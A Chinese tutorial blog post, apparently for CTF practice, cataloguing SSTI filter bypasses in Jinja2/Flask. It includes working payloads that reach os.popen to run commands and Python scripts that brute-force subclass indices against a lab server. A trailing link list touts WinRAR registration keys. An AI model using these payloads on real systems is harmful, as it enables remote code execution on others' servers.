关于SSTI模块注入的常见绕过方法

简介: 关于SSTI模块注入的常见绕过方法

1、过滤了中括号

如下,我们可以正常读取object的所有子类

但是当我们尝试利用某个子类时,发现存在WAF,这里是中括号被过滤了

我们使用.pop() 函数来进行绕过

构造payload:

{{''.__class__.__base__.__subclasses__().pop(xx)}}

回显成功

用到脚本上同理

使用之前的脚本我们发现都被过滤了

简单修改后,便适用于中括号被过滤了的情况,这里是爆类的位置

关于爆函数位置各位可以参考我前面博客http://t.csdn.cn/7Ffkm给的脚本进行修改即可

import html
import requests
url='http://1.14.110.159:18080/flasklab/level/4'
def find_class_num():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__().pop(" + str(i) +")}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        print(htmltest)
        if '_frozen_importlib_external.FileLoader' in re:
            print(i)
            return i
find_class_num()

(当然并不通用,具体还是要看题目环境)

这里我们爆出存在 _frozen_importlib_external.FileLoader类,关于利用也请参考前面的博客

http://t.csdn.cn/IWlqA

2、过滤了双下划线

利用request.args(或者request.values)进行绕过

request.args是flask中的一个属性,为返回请求的参数,这里把class当作变量名,再将“__class__“”传给class即可

3、过滤了单下划线

使用dir(0)[0][0]或request['args']或request['values']进行绕过

4、过滤了点

我们可以利用 |attr 写成这种格式

{{''|attr('__class__')}}

也可写成这种

{{''['__class__']}}

5、过滤了大括号

使用{%%}来进行判断

eg:

{%if 2>1%}success{%endif%}

返回success说明执行成功,我们便可基于if语句构造payload

{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}

相关脚本

import requests
url = "http://1.14.110.159:18080/flasklab/level/2"
for i in range(500):
    data = {
        "code": "{% if ''.__class__.__base__.__subclasses__()[" + str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}"
    }#传入的参数,根据事实情况更改参数的名称
    try:
        re = requests.post(url=url,params=data).text
        if 'success' in re:
            print(re)
            print(i,data["code"])
            break
    except:
        pass

找到payload后,使用{%print()%}进行回显

{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()'))%}
{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['popen']('ls').read())%}

6、过滤了引号

同样也可以利用request.args属性进行绕过

7、过滤了数字

我们可以利用set 配合length设置一个变量等于某个数值

{% set a='aaaaaaa'|length%}{{a*a}}

在我们后面选择所要使用的子类位置时同样适用

{% set a='aaaaa'|length*'aaaa'|length%}{{a}}{{''.__class__.__base__.__subclasses__()[a]}}

当然这些都只是一些简单和常见的,实际题目中一般是混合过滤,而且还可能会禁用一些东西,

但是这些基础的东西和操作我们还是需要知道的。

目录
相关文章
|
Web App开发 XML 安全
ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)
zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!
2212 1
|
开发者
WinRAR 5.40 & 4.20 & 3.93 的注册码 - rarreg.key
把下面的数据复制到“记事本”中,用文件名“rarreg.key”命名该文件,保存到WinRAR安装文件夹即完成注册。以下4个Key随便选一个复制都可以。WinRAR 5.40 版Key,复制箭头中间内容,上下无空格。
14686 1
【漏洞复现】探索 Python 中原型链的利用与污染
在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
7434 0
|
11月前
|
缓存 移动开发 前端开发
HTTP请求走私漏洞原理与利用手段分析
HTTP请求走私漏洞原理与利用手段分析
544 1
|
11月前
|
存储 安全
文件上传漏洞(六)一句话马图片
文件上传漏洞(六)一句话马图片
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
1995 1
|
Ubuntu 网络安全 开发者
CTF本地靶场搭建——GZ:CTF安装
GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
|
SQL Python
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
1009 0
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
|
SQL 安全 数据库
[RCTF2015]EasySQL1 题目分析与详解
[RCTF2015]EasySQL1 题目分析与详解